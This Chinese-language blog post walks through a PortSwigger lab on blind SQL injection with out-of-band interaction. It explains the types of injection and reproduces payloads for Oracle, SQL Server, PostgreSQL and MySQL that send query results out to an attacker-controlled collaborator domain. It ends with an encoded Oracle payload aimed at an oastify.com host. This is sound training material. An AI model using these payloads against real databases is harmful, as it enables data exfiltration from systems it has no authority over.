当前位置: 首页 > news >正文

PortSwigger靶场之Blind SQL injection with out-of-band interaction通关秘籍

一、题目分析

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以与外部域触发非带内交互。要解决此漏洞,需利用 SQL 注入漏洞,从而引发对 Burp Collaborator 的 DNS 查询操作。同时PortSwigger靶场提醒我们注意为防止 Academy 平台被用于攻击第三方,他们的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。

接下来我们引入一下sql注入的类型理论知识为我们解决本关打下基础

二、SQL 注入的类型

SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而干扰应用程序对其数据库的查询。这可能导致数据泄露、数据篡改,甚至完全控制数据库服务器。

SQL 注入主要分为以下几种类型:

1. 带内(In-band)SQL 注入

带内 SQL 注入是最常见也是最直接的类型,攻击者可以使用相同的通信渠道发送攻击和接收结果。它又可以细分为:

  • 基于错误的 SQL 注入 (Error-based SQLi): 攻击者故意使数据库返回错误消息,这些错误消息中包含了敏感信息(如数据库结构、列名等)。通过分析这些错误,攻击者可以逐步推断出数据库的布局。

  • 基于联合查询的 SQL 注入 (Union-based SQLi): 攻击者利用 UNION 运算符将一个恶意的 SELECT 查询的结果与原始查询的结果合并。这使得攻击者能够从数据库中检索任意数据,并将其显示在应用程序的正常输出中。

2. 推断(Inferential)SQL 注入 (也称为盲注入)

推断 SQL 注入发生在攻击者无法直接从数据库获取数据的情况下。相反,攻击者根据应用程序响应的行为或时间来推断数据库的信息。这种类型的注入通常需要更长的时间来执行,但仍然非常有效。

  • 基于布尔的盲注入 (Boolean-based Blind SQLi): 攻击者发送一系列 SQL 查询,这些查询会根据结果的真假导致应用程序的响应有所不同(例如,页面显示或不显示)。通过观察这些布尔响应,攻击者可以逐个字符地推断出数据库中的数据。

  • 基于时间的盲注入 (Time-based Blind SQLi): 攻击者发送的 SQL 查询中包含一个时间延迟函数(如 SLEEP()BENCHMARK())。如果查询中的条件为真,数据库将执行延迟,从而导致应用程序响应时间变长。攻击者通过测量响应时间来判断条件是否成立,以此推断出数据。

以上两种SQL注入我们都在之前的靶场学习过了,接下来我们来学习带外sql注入,这关主要是让我们浅浅尝试

3. 带外(Out-of-band)SQL 注入

带外 SQL 注入是一种不常见的类型,它发生在攻击者无法使用与应用程序相同的通信渠道获取结果时。在这种情况下,攻击者利用数据库服务器的某些功能(如 DNS 查询或 HTTP 请求)将数据发送到自己控制的外部服务器。这种攻击通常用于无法通过带内或推断技术提取数据的高级场景。

  • 通过 DNS 请求的带外 SQL 注入: 攻击者利用数据库的某些函数(如 LOAD_FILE()UTL_HTTP)触发一个 DNS 查询到攻击者控制的域名。查询的子域名部分可以编码从数据库中提取的数据。

  • 通过 HTTP 请求的带外 SQL 注入: 攻击者使数据库服务器向攻击者控制的 HTTP 服务器发送请求,请求中包含了从数据库中提取的数据。

本关就是考察通过 DNS 请求的带外 SQL 注入。

三、带外注入语句

在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:

下面是针对不同数据库的语句解释:

1. Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
  • 原理:利用 XML 类型解析错误来触发外部 HTTP 请求。

  • 解释

    1. EXTRACTVALUE(xmltype(...),'/l1'):这是一个 XML 解析函数,用于从 XML 数据中提取值。

    2. xmltype(...):这部分构造了一个畸形的 XML 文档,其中包含一个外部实体引用 <!ENTITY % remote SYSTEM "http://...">

    3. (SELECT YOUR-QUERY-HERE):这是你的注入查询,例如 (SELECT password FROM users WHERE username='admin')。它的结果会被拼接到 URL 中。

    4. .BURP-COLLABORATOR-SUBDOMAIN/:这是 Burp Collaborator 生成的唯一子域名。当 Oracle 尝试解析这个外部实体时,它会向该 URL 发送一个 HTTP 请求。

  • 结果:这里利用了 XML 解析器“需要”访问外部资源来完成解析的这一特性,而不是依赖于传统的 SQL 注入。即使解析最终会失败(因为 XML 文档结构不完整),在解析器尝试加载外部实体的那个瞬间,数据就已经被发送出去了。如果注入成功,Oracle 数据库会向一个包含查询结果的 URL 发送请求,攻击者可以在 Burp Collaborator 上接收到这个请求,从而获取数据。

2. Microsoft SQL Server

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
  • 原理:利用 xp_dirtree 系统存储过程来触发 UNC 路径访问,从而导致 DNS 请求。

  • 解释

    1. declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);:声明一个变量 @p 并将你的注入查询结果赋值给它。

    2. exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''):执行一个存储过程 xp_dirtree,它通常用于列出文件目录。这里巧妙地利用它来尝试访问一个网络共享路径。

    3. //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'':这是一个 UNC 路径(网络共享路径),它将你的查询结果 @p 嵌入到主机名中。

  • 结果:当 SQL Server 尝试访问这个 UNC 路径时,它会先执行一个 DNS 查询来解析主机名,这个查询包含了你的数据。攻击者可以在 DNS 服务器(如 Burp Collaborator)上捕获这个查询。

3. PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
  • 原理:创建一个临时函数,利用 copy 命令来执行外部程序 nslookup,从而触发 DNS 查询。

  • 解释

    1. create OR replace function f() ...:创建一个临时的 PL/pgSQL 函数 f()

    2. SELECT into p (SELECT YOUR-QUERY-HERE);:将你的注入查询结果存储到变量 p 中。

    3. execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';:这是核心部分。copy ... to program ... 命令通常用于将查询结果导出到外部程序。这里它被滥用,通过 nslookup 命令向一个包含查询结果的域名发送 DNS 请求。

  • 结果:执行 SELECT f() 时,函数会执行 nslookup 命令,向包含查询结果的子域名发起 DNS 请求。

4. MySQL (Windows only)

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • 原理:利用 INTO OUTFILE 语句将查询结果写入到一个网络共享路径,从而触发 DNS 查询。

  • 解释

    1. SELECT YOUR-QUERY-HERE INTO OUTFILE ...:将你的查询结果写入一个文件。

    2. \\\\BURP-COLLABORATOR-SUBDOMAIN\a:这是一个 UNC 路径。由于 MySQL 在 Windows 上执行此操作,它会尝试访问这个网络路径,并触发一个 DNS 查询来解析域名。

  • 结果:与 SQL Server 类似,MySQL 会向 Burp Collaborator 域名发送 DNS 请求,从而泄露查询结果。这个方法只在 MySQL 服务运行在 Windows 系统上时才有效。


5、开始尝试

我们从oracle开始尝试,只需要将.BURP-COLLABORATOR-SUBDOMAIN换成生成的地址。

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

四、成功通关

学习参考:归去来兮-zangcc  【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)

http://www.dtcms.com/a/351205.html

相关文章:

  • Redis--2
  • 在 TencentOS 3 上部署 OpenTenBase:从底层原理到生产级实践的深度指南
  • DBeaver下载安装使用
  • 支持向量机(SVM)算法总结
  • 大数据毕业设计选题:基于大数据的用户贷款行为数据分析系统Spark SQL核心技术
  • 迷你版Shell:源码详解与行为解析
  • 【Linux 34】Linux-主从复制
  • 嵌入式学习日记(34)HTTP协议
  • 支持向量机核心知识总结
  • 读懂支持向量机(SVM)
  • CI/CD 全链路实践:从 Git 基础到 Jenkins + GitLab 企业级部署
  • Flask 之上下文详解:从原理到实战
  • IDEA-Maven和Tomcat乱码问题
  • 2025改版:npm 新淘宝镜像域名地址
  • Uniapp(Vue2)Api请求封装
  • 企业级集群部署gpmall商城:MyCat+ZooKeeper+Kafka 环境部署与商城应用上线流程
  • VxWorks 核心数据结构详解 【消息队列、环形缓冲区、管道、FIFO、双缓冲区、共享内存】
  • Debian Buster 软件源失效问题
  • 在分布式环境下正确使用MyBatis二级缓存
  • 虚拟滚动优化——js技能提升
  • zookeeper-保姆级配置说明
  • http与https配置
  • 使用分流电阻器时的注意事项--PCB 设计对电阻温度系数的影响
  • Ubuntu 虚拟机配置 Git 并推送到Gitee
  • 低代码如何颠覆企业系统集成传统模式?快来一探究竟!
  • 两数之和,leetCode热题100,C++实现
  • 2025年视觉、先进成像和计算机技术论坛(VAICT 2025)
  • LeetCode热题100--108. 将有序数组转换为二叉搜索树--简单
  • 【Lua】题目小练11
  • Ansible 自动化运维工具:介绍与完整部署(RHEL 9)